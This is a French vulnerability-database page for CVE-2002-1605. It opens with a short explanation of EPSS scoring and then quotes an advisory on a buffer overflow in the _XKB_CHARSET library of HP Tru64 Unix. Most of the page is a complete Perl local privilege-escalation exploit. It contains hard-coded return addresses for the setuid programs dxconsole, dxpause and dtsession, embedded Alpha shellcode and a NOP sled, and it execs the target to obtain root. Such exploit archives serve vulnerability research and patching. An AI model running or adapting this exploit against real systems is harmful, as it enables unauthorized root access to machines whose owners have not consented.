CVE-2002-1605 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

source: https://www.securityfocus.com/bid/5648/info Tru64 is a commercially available Unix operating system originally developed by Digital. It is distributed and maintained by HP. A buffer overflow has been discovered in the _XKB_CHARSET library. A number of programs depend on the library, including dxconsole, dxpause and dtsession. Because of this flaw, it may be possible for a local user to execute arbitrary instructions. This could lead to the execution of attacker-supplied code, and elevated privileges. #!/usr/bin/perl -w # # Tru64 5.1 _XKB_CHARSET # # stripey (stripey@snosoft.com) - 10/07/2002 # $tgts{"0"} = pack("l",0x40010250).":/usr/bin/X11/dxconsole:uid=root"; $tgts{"1"} = pack("l",0x40012584).":/usr/bin/X11/dxpause:uid=root"; $tgts{"2"} = pack("l",0x400101e4).":/usr/dt/bin/dtsession:euid=root"; unless (($target,$offset,$align) = @ARGV,$align) { print "-"x72; print "\n Tru64 _XKB_CHARSET overflow, stripey\@snosoft.com, 03/07/2002\n"; print "-"x72; print "\n\nUsage: $0 <target> <offset> <align>\n\nTargets:\n\n"; foreach $key (sort(keys %tgts)) { ($a,$b,$c) = split(/\:/,$tgts{"$key"}); print "\t$key. $b ( $c )\n"; } print "\n"; exit 1; } ($a,$b) = split(/\:/,$tgts{"$target"}); print "*** Target: $b, Offset: $offset, Align: $align ***\n\n"; $ret = pack("ll",(unpack("l",$a)+$offset), 0x1); $sc .= "\x30\x15\xd9\x43\x11\x74\xf0\x47\x12\x14\x02\x42"; $sc .= "\xfc\xff\x32\xb2\x12\x94\x09\x42\xfc\xff\x32\xb2"; $sc .= "\xff\x47\x3f\x26\x1f\x04\x31\x22\xfc\xff\x30\xb2"; $sc .= "\xf7\xff\x1f\xd2\x10\x04\xff\x47\x11\x14\xe3\x43"; $sc .= "\x20\x35\x20\x42\xff\xff\xff\xff\x30\x15\xd9\x43"; $sc .= "\x31\x15\xd8\x43\x12\x04\xff\x47\x40\xff\x1e\xb6"; $sc .= "\x48\xff\xfe\xb7\x98\xff\x7f\x26\xd0\x8c\x73\x22"; $sc .= "\x13\x05\xf3\x47\x3c\xff\x7e\xb2\x69\x6e\x7f\x26"; $sc .= "\x2f\x62\x73\x22\x38\xff\x7e\xb2\x13\x94\xe7\x43"; $sc .= "\x20\x35\x60\x42\xff\xff\xff\xff"; $buf_a = "A"x256; $buf_a .= $ret; $buf_b = "B"x$align; if ($target eq "2" ) { $buf_b .= pack("l",0x47ff041f)x56; } else { $buf_b .= pack("l",0x47ff041f)x3750; } $buf_b .= $sc; $ENV{"_XKB_CHARSET"} = $buf_a; $ENV{"HOME"} = $buf_b; exec("$b");